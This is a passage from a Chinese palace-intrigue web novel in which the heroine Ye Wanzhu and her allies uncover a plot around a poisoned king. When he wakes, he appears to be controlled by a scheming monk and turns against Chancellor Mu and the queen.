眼见岑灵川又是猛地一脚踢在吴大人屁股上,叶晚竹这才不紧不慢地拉了师兄一把。 “他应该也不知道。” 如果知道的话,还怎么心甘情愿地来给那些幕后之人干活? 听见叶晚竹这么说,吴大人先是难以置信,随后便双眼直勾勾地望着叶晚竹,俨然是看到了希望一般。 叶晚竹走到他面前蹲下,又将布条扯了出来。 “想活吗?” 吴大人自然是把脑袋点个不停。 “那就按我说的做。”叶晚竹勾了勾唇,又露出了一个笑容。 —— 寝宫附近,先前扶着吴大人的那个小太监正气喘吁吁地在附近寻找着。 他使出了吃奶的力气狂奔着打了一个来回,终于把吴大人要吃的药取了过来。 就是吴大人身边的随从,不知道为什么表情都那么奇怪。 无心多想,小太监这会儿看不到吴大人本尊的身影,正心慌得不能自已。 这位没有返回寝宫外,不会是犯了病,又出什么事了吧? 好在有一队巡逻的御林军经过,指点了他一句,说方才看到吴大人往御医署的方向而去,小太监又连忙拽着两条腿跑了起来。 吴大人八成是等不到他,去御医署救命了! 他得赶快! 又是一路狂奔,小太监来到御医署的时候,院里院外都是一片静悄悄的,好像一个人也没有。 这是怎么回事? 小太监站在院中迷茫了片刻,忽然听到后院传来窸窸窣窣的声响,他眼前一亮,立刻冲了过去。 “吴大人,奴才来了——” “砰”地一声推开房门,血腥气扑面而来,把小太监还没来得及说出口的话全都顶了回去。 他呆呆地站在廊下,看着屋中的场景。 凳倒桌翻,血流遍地。 两个全身是血的人一左一右地躺在地上,脸色青白,不知道是已经死了,还是马上就要死。 而他找了一路,身体虚弱的吴大人正蹲在地上,刚刚把刀从其中一个人的身上拔下来。 那人的脸小太监也认识,正是刚刚还在王上寝宫中解毒的柳大夫! 这是怎么回事? 小太监感觉自己马上就要呼吸不上来了。 与此同时,听到背后的动静,吴大人慢慢地转过头,露出一张糊满了鲜血,只能看到一双寒光乍现的眼睛的,阴森森的脸! “啊!” 小太监尖叫一声,转头就往院外狂奔! 杀人了! 吴大人在宫里杀人了! “站住!” 吴大人的声音从背后传来,带着被发现的慌张和惊恐。 追逐的脚步声也跟着响起,小太监又呜咽了一声,脚下跑得更快了! 他不想死啊! 吴大人这是不是犯了什么疯病,他得找人过来控制住! 可,可这一路怎么都没有一个人? 往日还算有序的宫中小道上眼下空空如也,半个人影都看不到,吴大人还没命地追在后面,小太监只能又抽泣一声,继续加快脚步! 在他身后,吴慎跑得气喘吁吁,眼见离御医署足够远,那边也响起了脚步声,这才从怀中将那个手下提前留给他的信号拿了出来。 方才那个姓柳的游医说,不把事情闹大,他的后援肯定不会现身帮忙善后。 这话是真是假? 只能拼了! 深吸一口气,吴慎咬牙将那个信号放上了天空! 他抬起头,什么都看不到,也没有什么声音传来,而这个时候,那个小太监已经快要跑到宫道上去了。 脚步声就在前方,小太监跑得几欲吐血,嗓子眼里泛着腥甜也不敢停下来。 可就在这时,眼前黑影一闪,下一刻,小太监便感到自己的脖子被一只大手死死地攥住了! “呃——” 只来得及发出一点声音,他便失去了知觉。 眼见着熟悉的人影出现,吴慎咽了咽口水,又在对方冷淡的目光之下,加快脚步冲了过去。 “怎么回事?” 这个黑衣人对上吴慎这位当朝刑部尚书的时候也很不客气。 “他忽然闯进来,看到我杀人了……” 低着头还在呼呼喘气,吴慎慢了一拍才想起来那两个游医的叮嘱,顿时身子一软,猛地倒在这黑衣人脚边。 “我杀人了,我,我真的杀人了……”他恐惧地喃喃自语着,仿佛已经被吓傻了。 黑衣人眼中闪过一丝狠辣,空着的手拖起吴慎就往一旁的僻静处去。 “那两个大夫真的死了?” 冷声问着,见吴慎没有反应,黑衣人扬手就是一巴掌扇了过去,“说话!” 吴慎刚靠着墙站起来,又被打得摔倒在地,仰着脑袋,目光涣散,忽然露出一个笑容。 “没死。” “你说什么?” 第四百二十九章 启禀王上,大人们到了! 听见吴大人的话,黑衣人先是眉头一皱,随后便忽然感到一阵寒意从背上袭来! 他猛地转身,与此同时,岑灵川一脚踢向这黑衣人后背的动作也落了个空。 “你好啊。” 一击不中,岑灵川也不恼怒,笑眯眯地朝着黑衣人吹了声口哨。 黑衣人眉头一皱,纵身又朝着岑灵川冲过去,却虚晃一枪,身子一歪便朝宫外飞掠而去! 岑灵川冷笑一声去追,那黑衣人反手丢出一把短刀,正中吴大人腹部! 吴大人:……! “站住!” 岑灵川一声喊,附近顿时响起了密密麻麻的脚步声,大内侍卫们很快锁定了目标,往黑衣人逃跑的方向开始追赶。 吴大人躺在地上大口大口地喘着粗气,感到有人靠近,他掀开眼皮一看,顿时激动起来,“救,救救我!” 他不想死! 叶晚竹低头看了看吴大人腹部的伤口,从怀中摸出一个小瓷瓶,喂他吃了一颗止血的伤药,随即便准备离开。 “你要去哪儿啊?” 眼见着救命稻草转身,吴大人又慌又怕,忍着疼痛一把攥住了叶晚竹的衣摆。 “你们说的我都做了,这人我也给你们找到了,你,你不能卸磨杀驴啊!” 被绊住脚步,叶晚竹抽了几下都没抽动自己的衣摆,语气不由得也有些不好,“你再不放手,御医找不到我,是不会过来的!” 一听这话,吴大人立刻松了手上的力道。 见叶晚竹二话不说又要离开,望着她的背影,吴大人忽然感到有些不对。 “你不就是大夫吗?” 怎么还要找御医来给他治伤? 叶晚竹的脚步顿了顿,语气也显得有些微妙。 “你真是什么都不知道,就来替你的同盟动手了?” “您老这次要是能捡回一条命,我看还是趁早告老还乡吧。” 吴大人张了张嘴,想说什么,却感到自己眼前逐渐发黑,很快便失去了意识。 叶晚竹叫来早就准备好的小太监,将昏迷不醒的吴大人又带回了御医署,几位御医连忙进屋拔刀治伤,院中一时间又安静了下来。 “柳大夫。” 一声轻唤从背后传来,叶晚竹转过头,便和慕丞相身边的一个随从对上了视线。 “慕相请您过去,”他顿了顿,“那方子……好像真的有些效果。” 叶晚竹神情一凛,“我这就过去。” “还有……有劳你去替我送个口信。” 叶晚竹交给慕丞相的那张古方是谢无咎在王宫中的典籍里翻找到的,本想着应付一二,却没想到竟然误打误撞地有了效果。 可这对于慕丞相来说,恐怕就不是什么好消息了。 叶晚竹让那随从去给谢无咎也送了消息,她回到寝宫的时候,谢无咎先一步站在了殿中。 院里等候的官员们已经被慕丞相找了个借口打发离开,倒是王后也听到了消息,只带了个侍女便急匆匆地赶了过来。 “怎么回事?” 叶晚竹一进到殿中,便看到几人正围着龙床,她上前一看,南疆王正仰面朝天躺在床上,双眼紧闭,小口小口地往外吐着黑血。 再仔细一看,那血里还泛着淡淡的蓝色光泽。 符绮站在床边,神情茫然,在她身边还站着一个御医,这会儿双手正不停地哆嗦着。 叶晚竹又看了两眼,认出这就是南疆王出事当天,前来看诊的那位。 “孙御医是自己人。” 见着叶晚竹的目光,王后低声解释了一句,又对着孙御医点点头,“刚才具体都发生了什么?” 孙御医眨了眨眼,这才回过神来。 “微臣按照那张古方的记载配了药,喂王上喝下之后,不出一盏茶的时间王上便开始小口吐血……” 顿了顿,又掀起眼皮挨个看了看站在面前的主子们,孙御医这才把话继续说了下去。 “王上吐出来的都是毒血,脉象也有所好转,好像,好像是要解毒了……” 这话听上去是个天大的好消息,可这屋中的主子们,有一个算一个,全都是不想让南疆王醒来的啊! 现在该怎么办? 孙御医的身子忍不住哆嗦了起来。 他说话的时候,叶晚竹的双眼一直落在南疆王身上。 中了蛊毒,身上还有神秘的印记,南疆王的病况可以说是相当复杂的了。 现在,只是一张无意间找到的古方,就能让他的情况这么快地好转起来? 叶晚竹皱了皱眉,抬头去看谢无咎。 “那古方你是在什么地方找到的?” 谢无咎的眉间这时候也萦绕着一团愁绪,他快步上前,将怀中的一本医书取了出来。 “那方子就夹在书中,是我前几日找到的。” 说着话,谢无咎的眉头又皱了皱。 他本以为是巧合,可眼下看来,或许是有人故意为之。 谁想让南疆王苏醒? 众人你看看我,我看看你,一个答案同时从心里浮了出来。 “王后,慕相,你们得做个决断了。” 让符绮和孙御医等人离开,等到殿中只剩下他们四人,叶晚竹直言不讳。 “如果真的是天问那秃驴,他敢现在让王上醒来,就说明他还有把握,能继续控制王上的一举一动。” 这段时间南疆王不省人事,宫中的事情交由慕相和王后打理,不会有人多说什么。 可南疆王一旦醒来,他们的主动权就会丧失了。 不仅如此,他们这段时间做过的事情,也会被拉出来大举清算。 “若是现在动手,王上一死,天问和尚定会把害死王上的罪名按到你们头上。” 王后轻叹一声,看着叶晚竹的眼睛。 “昨天晚上,我在宫中抓到了一个奸细,虽然他什么都没说就服毒自尽,但消息恐怕已经传了出去,我们的合作,天问和尚十有八九是知道了。” 如此一来,只要他在后面挑动一番,谋害王上的这个罪名最后还是要落到王后和慕家身上。 “这秃驴早就对我慕家不满,私下的小动作已经做过很多了。”慕丞相也冷哼了一声,“小人行径。” 说着话,众人又将目光落到了南疆王的身上。 杀或不杀,现在都成了问题—— “启禀王上,大人们到了!”德水的声音忽然出现在院中。 第四百三十章 王上醒了! 几人同时安静下来,直勾勾地盯着外面。 德水刚才说什么? 大人们都到了? 他喊的又是谁—— “进来说话。” 一道略显沙哑的声音在殿中响起,南疆王从床上缓缓坐起身来。 叶晚竹猛地扭过头,这便对上了一双微微含笑的眼睛。 “柳大夫,”南疆王的声音还是哑的,“果然是医术高超,朕要好好地感谢你。” 他说话的时候,寝宫的殿门打开,德水快步走了进来,又露出站在院中,满满当当的官员们。 这些大人们前脚刚被慕丞相安排着离开,还没等走出宫门便又被王上的口谕叫了回来,一个个还在气喘吁吁着。 不过,听说王上已经苏醒,官员们已经有些急不可耐了。 看看院子里引颈观望的大人们,再看看龙床上已经恢复意识,有说有笑的南疆王,叶晚竹深吸一口气,还是在床边跪了下来。 “此乃草民应尽的责任。” 木已成舟,南疆王今天是无论如何都不能出事了。 王后和慕相显然也是如此想法,和站在一旁,沉默寡言的谢无咎一起跪了下来,高呼王上万岁。 “替朕更衣吧。” 南疆王并未理会他们,只朝着德水招了招手,嘴角噙着一丝让人捉摸不透的冷笑。 少顷,穿戴整齐的南疆王在寝宫的偏殿接见了在外面等候许久的一众大臣们。 擦干净嘴角的血迹之后,除了脸色略显苍白,神态有些憔悴,南疆王看上去已经和一个正常人没了太大的区别。 几个御医也先后赶来,替他号脉检查,又商量一番,确认王上体内的毒素当真被清理得一干二净! “王上万幸,王上万幸啊!” 官员们这下终于放下心来,又一迭声地朝南疆王说着吉祥话。 南疆王坐在桌后,面上带着劫后余生的笑容,刚才那点异样早就已经消失得无影无踪了。 他含笑开口,“这都要多亏了柳大夫高超的医术!” 一句话落下,殿中众人的目光又齐齐朝着叶晚竹投了过来。 叶晚竹束手站在群臣的最后方,这会儿也只能躬着身子低声应承。 官员们只当她是乡野游医,没见过这样的场景,叶晚竹也故意配合着哆嗦了两下,只是垂着的眼中满是冷厉。 南疆王受伤的这段时间,寝宫里分明没有离开过人,天问那秃驴是怎么把消息传进来,又让德水去送信的? 他们又被这该死的秃驴摆了一道! 另一边,南疆王还在论功行赏,那古方是谢无咎找到的,他又将谢无咎好生夸赞了一番,还赐下了不少东西。 谢无咎同样装着诚惶诚恐的模样领旨谢恩,不知他的举动是哪里取悦了南疆王,这位王上忽然哈哈大笑起来,还甚是开怀。 “好了,朕能平安醒来,少不了你们的用心,这样吧,三日之后,宫中设宴庆祝一番,柳大夫,邵公子,还有帮忙的几位大夫,务必前来赴宴!” “草民遵旨!”叶晚竹和谢无咎继续老老实实地跪地叩首。 南疆王摆摆手,目光向下,“至于宫宴的一应事宜,就交给……周大人去办吧。” 他在群臣中扫视了一圈,不紧不慢地指定了人选。 周大人先是一愣,接着下意识地往前方那个背影身上看了一眼,这才抑制着狂喜出列领命,“微臣接旨!” 不算太大的偏殿里,方才还欢腾着的空气忽然有了一瞬的凝滞。 放在往常,这样的事项都是交由慕丞相去做主打理的,更别提王上此番中毒之后,也一直都是慕丞相带人忙前忙后。 眼下王上醒来,却忽然把任务交给了和慕丞相有些不对付的周大人,这…… 再想想周大人一个时辰前还和慕丞相在寝宫门前吵了一架,大人们的表情就变得更微妙了。 王上这是什么意思? 有眼尖的大人们又想起来,自打王上清醒,虽然慕丞相和王后都在寝宫里,但这位就没和他们说过一句话! 如此看来,王上是要厌弃了慕家? 大人们嘴上不说,心里都已经生出了各自的小算盘,只等着从宫中离开,就回去好好地拨拉几下,算算今后该如何。 慕丞相恭恭敬敬地站在群臣之前,眉眼低垂,面上也什么情绪都没有,让人看不出心中所想。 上首,南疆王的话却还没有说完。 “朕中招之前的几件事情也该处理了,大理寺的伤亡情况和损失交由田大人清点;抓到的那些僧兵,赵将军立刻派人押往宫中,朕要亲自见见他们。” “天问大师的府邸派人抄了,府中的人一个个押回来问话,这件事,陈大人你去办!” “……” 听着南疆王一桩桩一件件的安排,殿中的官员们更是心潮起伏。 这几件事之前可都在慕丞相的管理之下! 现在王上不仅连一个招呼都没打,就从慕丞相手中接了过去,甚至换上的这些人,也都是在朝中与慕丞相和慕家不亲近的大臣! 王都的天难道真的要变了? “还有冯大人。” 南疆王的语气忽然沉下几分,众人连忙跟着收敛心神,又感到一丝不妙。 “朕记得,冯大人涉嫌贪污行贿,事发前,应该正在府中闭门思过,等待调查结果吧?怎么跑到大理寺去升堂断案了?” 双眼微眯,南疆王问话的声音透出了一股危险的意味。 冯大人站在群臣列中,闻言瑟瑟发抖,出列的时候一双腿都是哆嗦着的。 “微臣,微臣……” “启禀王上。” 慕丞相这时候忽然出列,朝着南疆王一礼,“事发前一晚,冯大人之案业已查清,贪污受贿之事子虚乌有,倒是有人在暗中制造假证,蓄意诬陷朝中要员。” “微臣尚未来得及将情况整点上报,城中便发了那样的大案,大理寺无人可堪大用。事急从权,微臣便贸然先请冯大人回衙门处理案情,此事是微臣之失——” “你好大的胆子!” 慕丞相一句话还没说完,南疆王便拍案而起,“慕诚!你敢如此僭越行事——” “轰!” 一声巨响猝不及防地传来! 第四百三十一章 早有预谋 “怎么回事?” 震颤感传来,殿中所有人都感到自己脚下晃了晃,不由得紧张地来回张望着。 “是,是地动了?”有官员捂着脑袋打量着周围,却发现一切正常。 “王都中那边好像起火了。” 谢无咎的声音从众人之中传来,大伙儿顺着他的手往外一看,果然,城中某处这会儿正在升起滚滚浓烟,火光也在其中若隐若现。 “那是刑部尚书府吧?”有住在附近的官员认了出来,“吴大人的府邸——诶?” 说到这儿,吴大人呢? 方才见识过吴大人“犯病”的几位官员都是一愣,随后表情变得有些莫名。 吴大人前脚刚犯了急症,后脚他家的府邸就着火了。 这两件事放在一起,怎么那么奇怪? 趁着众人惊慌,慕丞相不动声色地朝着叶晚竹投来一眼,带着几分问询。 吴大人这会儿应该还在御医署,叶晚竹眨了眨眼,还没想好下一步的行动,南疆王的声音便又一次响了起来。 “岂有此理!这王都已经乱成什么样子了?传朕的旨意,立刻派人去瞧瞧,刑部尚书府到底发生了什么事!” —— 尚书府中,岑灵川顶着满头满身的黑灰从一间摇摇欲坠的屋子里走了出来。 他随手丢开一具被炸得四分五裂的黑衣人尸体,又朝着不远处几个正在逃窜的黑衣人冲了过去! 方才,追着那个从宫中逃跑的黑衣人,岑灵川一路找到了这个刑部尚书府,没承想刚追进来就被四五个同样的黑衣人包围了。 这一看就是一伙儿,齐齐朝着岑灵川而来,双方且战且走,不知不觉竟然被他找到了一处放着炸药的院子! 这帮人想炸什么地方? 皇宫?还是王都? 岑灵川反手就把火折子丢了进去。 管他到底要炸什么,现在就把这间宅子炸了! 说来也奇怪,这偌大的尚书府里竟然没有一个人,岑灵川和这些黑衣人们你来我往地打了大半晌,现在连爆炸都弄出来了,愣是没有半点动静从其他地方传来。 看来是早有预谋的了。 眉头一皱,岑灵川加快速度冲到了黑衣人背后,抬手便是一拳! 躲闪不及,黑衣人顿时一个踉跄,摔倒在地又吐出一大口鲜血。 “跑?不是准备了这么多炸药吗?急着跑什么呢?” 岑灵川上前一步踩在这个黑衣人背上,听着骨头碎裂的清脆声音接连响起。 “说,你们是——” 他话还没说完,一阵劲风从耳畔袭来,岑灵川下意识回身躲闪,又不得不后退两步。 又一道黑影从天而降,手执长剑,二话不说便朝着岑灵川咽喉要害而来! “又来一个?” 冷笑一声,岑灵川起身迎上,心下却忽然一紧。 这个黑衣人的功夫内力,和方才那些都不是一个水准的。 “哦?主子终于舍得放出身边的好狗来办事了?”他面上噙着调侃的笑容,“看来我伤到你们的要害了,是不是?” “多话。” 那黑衣人的语气没有半分波动,再次直直朝着岑灵川攻来,与此同时,方才那些逃跑的黑衣人们也不知道什么时候卷土重来,将二人牢牢围在当中。 “受死吧。” “想得美!” 岑灵川飞身而起,二人再度缠斗,围在一旁的黑衣人也跟着齐齐扑了上来。 “以多欺少,你们可真有出息啊!”被一群黑衣人团团围住,岑灵川咬着牙,感到有些左支右绌起来。 “跟你这种货色有什么好客气的?” 后来的那个黑衣人讥笑着,看准岑灵川左右格挡的空隙,提剑便朝着他后心猛刺了下去—— “铛”地一声响,他的剑尖顿时失了准头,猛地朝一旁歪倒! “你又是什么三流货色?” 冷冷淡淡的声音响起,岑灵川刚刚脱困,就势和来人背靠背站稳了身子。 “谢了,你怎么来了?” 击飞黑衣人长剑的人是隐川,他这会儿也从头到脚穿了一身黑衣裳,若不是岑灵川认识他的声音,十有八九要把他认成这帮贼人的同党。 “这边的动静宫中听到了,王上已经下令调查,这个时候,御林军应该快到了。” 隐川并未压低声音,语气平平,却让几个黑衣人都变了脸色。 “贱人!”那个黑衣人忍不住盯着岑灵川多看了两眼。 要不是他弄出的爆炸,怎么会吸引宫中的注意力? 岑灵川咧开嘴,露出一个灿烂的笑容,“现在知道我是什么货色了?能让你难受的好货色!” 话音未落,他便又举剑冲了上去。 与此同时,急促的脚步声也开始响起,街上隐隐约约地传来了打马开道的声音。 “……撤!”那个黑衣人皱了皱眉,转头就跑! “站住!” 岑灵川正要追上去,眼前却炸开一团黑色的雾气,他不得已后退躲避,等缓过神来,已经没了那些贼人的痕迹。 “这才是贱人!”他气得连连喘了几大口粗气,又转头看向隐川。 “宫中情况如何?” 隐川也刚刚从那团黑雾里挣脱出来,眉头微皱,“南疆王醒了。” 岑灵川:?? 他符师姐真是神医? 可看着隐川难看的脸色,岑灵川的神情也变得严肃起来。 “这件事可能会很麻烦,”隐川压低声音,“主子让我先带你回宫说话。” 以二人的身份确实不适合现在出现在这个地方,岑灵川点点头,赶在御林军彻底包围尚书府前飞身离开,一路朝着宫中疾行而去。 外面的消息也很快传到了南疆王的耳朵里,刑部尚书府遭遇爆炸,阖府上下却不见了踪影,唯二的幸存者便是吴大人和管家。 吴大人刚刚清醒就听到了这个噩耗,一腔恐惧怎么也遏制不住,都不用南疆王询问,到了御前便噼里啪啦地把所有事情全都抖搂了出来。 南疆王听完自然是勃然大怒。 “岂有此理!朕看这些贼人是故意要谋害朕的性命!” “传旨!即日起关闭王都各处城门,一日不抓到这些凶徒,便一日不许收手!” “慕诚——” 第四百三十二章 群臣说,请王上三思! 忽然听见慕丞相被点名,文武百官又是一顿。 王都中出了这样的事情,谁也别想独善其身,一众官员们已经和南疆王一道来到了御书房议事。 不知道是巧合还是别的什么,叶晚竹和谢无咎也混在其中,并未被人拦下。 众人已经在御书房听了一阵子的训,南疆王看似忙着处理自中毒以来的各种问题,实则桩桩件件都把慕丞相绕了过去。 一番安排下来,慕丞相手中的公务已经所剩无几,竟然是被当着群臣的面儿架空了。 就算再迟钝一些的小太监们都看出问题来了,忍不住地用眼睛瞟慕丞相。 王上中毒期间,慕大人忙前忙后的,没有功劳也有苦劳,怎么王上一醒来就卸磨杀驴? 慕丞相则是一直安静地站在自己的位置上,直到这会儿被南疆王点名,才微微一震抬起头来,“微臣在。” “你现在就去,点几支精兵把城门守住。” 听见这话,不少官员下意识地吸了一口气。 这叫什么差事? 慕丞相在朝中已经是一人之上,万人之下,眼下,王上居然要他去守城门? 他的岁数已经不小了,又是文官,放着半个御书房的将军不用,王上这是要干什么? 想归想,官员们很快又归于安静。 南疆王稳稳坐在高台之上,看似垂着眼皮,目光却并不曾落在慕丞相身上。 “这帮恶贼实在是丧心病狂,你亲自监督,一定要一个不留地把人抓到,否则,朕便要治你一个僭越之罪!” 这风牛马不相及的任务,原来还是为了冯大人那件事! 御书房里的官员们明白过来,又忍不住一个两个在下面交换着眼神。 解除蛊毒之后,王上好像有什么地方和从前不太一样了…… 大理寺冯大人听着王上的话也是一头冷汗,他下意识地想出声说话,却被慕丞相出列的背影挡住了目光。 慕丞相身姿平稳,朝着上方微微躬身,“臣领旨,定不负王上所托。” 听这语气,仿佛南疆王安排给他的只是一件再寻常不过的任务。 “那就赶紧去吧。”南疆王依旧垂着眼皮,语气里不辨喜怒。 慕丞相当真立刻后退离开,身影很快消失在御书房外。 殿中安安静静的,忽然陷入了一片不知名的沉寂之中。 最后还是南疆王再次出声,亲自打破僵局。 “城中的事情,朕相信慕相定会办妥,周大人啊,三日后的宴会,你也要多花些心思,莫要慢待了贵客。” 他一句话落下,别说是周大人,就连站在高台旁的德水都忍不住眨了眨眼。 城里都乱成一锅粥了,被爆炸所惊吓,又有不知道从什么地方传来的流言,说王都要被匪兵袭击,现下百姓们都惊慌失措地在准备逃命呢。 等城门关闭的旨意传出去,城里不用想也要变得更乱。 这种时候,王上还要办宴会呢? 大人们也欲言又止,不住地往南疆王那边瞟。 这件事,就更奇怪了! “周大人?” 上首,南疆王却并未对殿中群臣的反应有半点回应,倒是继续含笑在人群中寻找着周大人。 周大人垂着脑袋,这会儿也是眉头紧皱,躲不过,只好小步小步挪到南疆王面前。 “王上,依现在的情况,您看——” “王上,草民斗胆一言。” 还没等周大人组织好语言,清亮的女声忽然在殿中响了起来。 众人又是一愣。 叶晚竹从角落里快步上前,停到了周大人身边,朝着南疆王深深躬下了身子。 “城中眼下一片混乱,定是人心惶惶,此等时刻,草民与师兄师姐不敢耽搁朝中要务,宴会一事,不如稍作推迟。” 面前的女子落在官员们眼里,仍然不过是个普通的游医,大人们向来没和这位有什么过多的来往,这会儿却接二连三地出声应和了起来。 城里正乱着,宫中却歌舞升平,怎么想都不是什么好景象。 王上难道不知?为何非要现在举办宴会? 一些大人们交换着的眼神逐渐带上了深意。 南疆王终于在群臣的策言下隐去笑容,眉头也皱了起来。 “宫宴一事已经布置了下去,现在怎好中断?城里有慕相坐镇,料想也无甚波澜。” 听这话,敢情王上连让慕丞相参加宴会的打算都没有? 群臣不由得又是一噎。 这,这到底有什么必要? “王上……” 周大人这时候也出了声。 “微臣方才便想向您禀报,这段时间您卧病在床,宫中一应事务便都清减收缩了不少,往日用作宴客的几间大殿,眼下需要彻底清扫方能启用。” 咬了咬牙,感觉着落在自己身上的目光骤然变冷,周大人却还是硬着头皮继续道,“除此之外,还有不少事务也需要重新安排,三日时间……恐怕是有些,有些紧促,还请王上再多宽裕一段时日。” 终于把话说完,周大人浑身上下冷汗涔涔,连呼吸都不畅快了。 他是不服慕诚那个老骨头,想和他打擂台,可也不是用这种方式啊! 谁都能看出这宴席现在举办不妥,谁知道王上为什么非要执意如此,可周大人却清楚,朝中官员们不敢议论王上,只会把压力转到他身上来! 王上一意孤行,他可不想做挡箭牌! “你再说一遍?”南疆王极其不悦的声音这时候从上方传来,似乎马上就要发怒了。 周大人打了个哆嗦,扑通一声跪了下去。 “微臣能力不足,三日功夫的确筹备不出尽善尽美的宴席,唯恐辜负王上重托,还请王上收回成命吧——” 他的话还没说完,“咚”地一声,南疆王怒极,抓起一旁的镇纸便朝着下面狠狠砸了过来。 好在周大人跪得远,镇纸落在地上,御书房中的官员也跟着齐齐跪地。 “王上息怒啊!” 话虽如此,却没有半个人出来应承宴会之事。 偌大的宫殿中,一时只有南疆王粗重的呼吸声响起。 “滚!都给朕滚出去!” 半晌过后,上方终于传来命令,群臣闻言连忙起身告退。 刚走出大殿,众人迎面便看到一道身影跪在廊下。 “娘娘?” 第四百三十三章 动手时不必客气 王后端端正正地跪在廊下,听着前方传来的动静,只是微微地抬起了脑袋。 虽然她带了面纱,身边也有撑伞的下人,一众官员们还是纷纷侧过身子,又加快步伐离开。 好端端的,王后自然不会莫名其妙地跪在这里,不用想也知道是因为慕丞相的事情。 这个乱子,大人们就更不愿意沾了。 群臣加快脚步离开,除了最初的惊诧,全当自己什么都没有看到。 叶晚竹有意拖延着脚下的步伐,等她走到王后身边的时候,院中的大人们基本都远远离开了。 王后已经重新垂下了眉眼,叶晚竹路过时,一道轻语飘进她耳中。 “动手时不必客气。” “王后放心。”叶晚竹同样轻声地回应。 南疆王虽然已经醒来,却没有要放叶晚竹几人出宫的打算,叶晚竹也不刻意提及,很快又回到了那间小院之中。 谢无咎方才先她一步离开,这会儿该到的人都已经在屋中集齐了。 “外面情况如何?”叶晚竹坐下来便朝着岑灵川看了过去。 岑灵川已经换了衣服洗了脸,但被爆炸波及的伤口还没完全止血,瞧着有些狼狈,又带着一股凶戾之气。 他三言两语把发生在刑部尚书府的事情说完,又道,“那些是安王手下的影卫。” 和这帮人过了不少次招,岑灵川对对方的功夫路数已经十分了解了。 “又是安王。” 抱起双臂,叶晚竹冷笑一声,“他倒是无孔不入。” 知道他们在给南疆王解毒,就策动吴大人来插一脚,看来,这位也不想那么轻易就收手。 “南疆王派出宫的御林军追着那些黑衣人到了一处民宅,对方便忽然失踪,御林军在那宅子下方发现了一条暗道,正在前往追踪。”隐川补充完了眼下的一点情况。 “南疆王定会对安王穷追猛打,他这次怕是要偷鸡不成蚀把米了。” 谢无咎坐在桌边,晃动着杯子里的温水,笑声里一点儿多余的情绪都没有。 “南疆王到底为什么忽然清醒了?” 说到南疆王,符绮实在忍不住问了出声。 知道这位王上是天问秃驴的人,符绮经手药材的时候,将所有分量统统减半。 喝不死也治不好,这向来是一些奸人行医的做法,符绮吃过亏,本以为慢慢拖延便好,谁知道一副药下去,南疆王就醒了! 要不是知道自己的水平,符绮这会儿也想管自己叫神医! “是那秃驴。” 旁观了两场朝会,叶晚竹此刻十分笃定。 “操纵南疆王的肯定是天问秃驴,而且,看南疆王的模样,好像已经完全丧失了自己的意识。” 南疆王从前素来有举棋不定,优柔寡断的名号,这其中固然有天问秃驴的手笔,但也能体现出这位王上本人的几分性格。 可方才,那点属于南疆王本人的特质却丝毫没有展现出来。 隔着一张脸皮,叶晚竹甚至好像看到了天问秃驴狐假虎威,发号施令的模样。 谢无咎也点了点头。 “不错,南疆王再是无能之辈,在这皇位上坐了这么久,该有的风范就算是他不想要,也得假装几分,断不会像刚才那样,急着对慕丞相赶尽杀绝。” 看御书房中那些官员们的表现便知道了,以往的南疆王,行事绝对不是这个风格。 “只有那秃驴,最喜欢小人得志。”谢无咎勾着嘴角下了定论。 “也就是说,现在的南疆王就是秃驴咯?” 摩拳擦掌着,岑灵川又露出一个阴恻恻的笑容。 “那倒是简单了。” 今后但凡这位王上要做的事情,他们都多加小心就是。 谢无咎这时候又朝着叶晚竹看了过去,“王后跟你说了什么?” 南疆王被天问秃驴操纵着醒来后,第一件事情就是把宫中的人手全都换了一遍。 方才符绮已经试过,王后的宫殿外眼下遍布大内侍卫,他们已经不能贸然前去。 王后想来也发现了这点,她出现在御书房外,绝不仅仅只是为了求情。 “她让我们动手时不必客气。” 叶晚竹也给自己倒了杯茶水,看着杯中的倒影,她又轻声道,“王后似乎已经有了计划,我离开的时候,她正在伏地哭求王上放过慕丞相。” 这可不像是一身傲骨的王后会做的事情。 “她在提示我们。” 不能会面,那就只能换一种方法了。 “慕丞相是朝中老臣,又是文官,这样被王上赶去守城门,落在王都其他人眼中无异于是一种侮辱。” 思忖着,谢无咎缓缓开口。 “现在再加上王后的折腰,她是想用舆论逼南疆王一把。” 慕家在王都的名声一向很好,也的确没有做过什么伤天害理的事情,慕丞相平白遭受这么一番羞辱和折腾,旁人看在眼中不免会生出什么样的想法。 “王后要釜底抽薪了。” 叶晚竹搁下水杯,抬头露出一个锋芒毕露的微笑。 “天问那秃驴想故技重施,同时除掉安王和慕家,这下却犯了个大错。” 对待跟随自己多年的老臣都这般无情,焉能成为一个明君圣主? “就说他一身小家子气,只能想出些难登大雅之堂的阴损招数吧,”岑灵川翻了个白眼,“正好,趁他出昏招,也该咱们动手了!” “慕家有除掉这个王上的心思还不算完,眼下,被御林军围追堵截的安王,也应该知道自己最需要首先对付的是谁。” 叶晚竹望着窗外,御书房方向这会儿似乎隐隐约约地有混乱之声传来,不知道是不是王后的又一番手笔。 她敲了敲桌面,“安王算计咱们和天问秃驴互相攻击的这笔账,是时候该还了!” 闻言,岑灵川眨了眨眼。 “你要假扮天问秃驴的人,让安王调转矛头?这件事儿谁能办?” 一边说着话,他的眼睛却已经止不住地朝着坐在一旁的谢无咎看了过去。 “诶呀,天问那秃驴的手下可都不一般啊。” 听着他指向明确的话,再看看叶晚竹亮晶晶的双眼,谢无咎弯起眼睛,笑得十分灿烂,“本督自当尽一份力。” “主子,”一道声音这时候从门外传来,“御书房那边出事了!” 第四百三十四章 她意图谋杀王后 王后在御书房门前跪地哭求,请王上收回慕丞相守城门的命令,这个举动惹恼了本就心情不佳的南疆王。 二人争执间,南疆王一脚踹在王后胸口,把王后从回廊踹翻在地,断了肋骨,还撞到了脑袋。 眼见情况危急,王后那边又派人来把叶晚竹和符绮请过去处理外伤。 饶是两个彻头彻尾的半吊子,二人得到消息,还是立刻往王后宫中赶了过去。 这里依旧和符绮前一次摸过来打探的时候一样,偌大的宫殿被大内侍卫包围得水泄不通,不过,这一回倒是还多了不少御医大人。 王后的寝殿大门闭锁,御医大人们都站在外面,正低声讨论着什么,看见叶晚竹和符绮纷纷眼底一亮。 “柳大夫,符大夫,你们终于来了!” “王后情况如何?” 叶晚竹听着殿里的声音,静悄悄的一片死寂。 符绮也有些忍不住,“你们怎么不进去?” 闻言,御医们你看看我,我看看你,似乎都有些难以启齿。 就在这时,殿门哗啦一声从里面打开,王后身边最得力的侍女怀风红着眼睛探出头来。 “二位大夫终于来了。” 怀风的语气也哽咽着,眼中满是怨气。 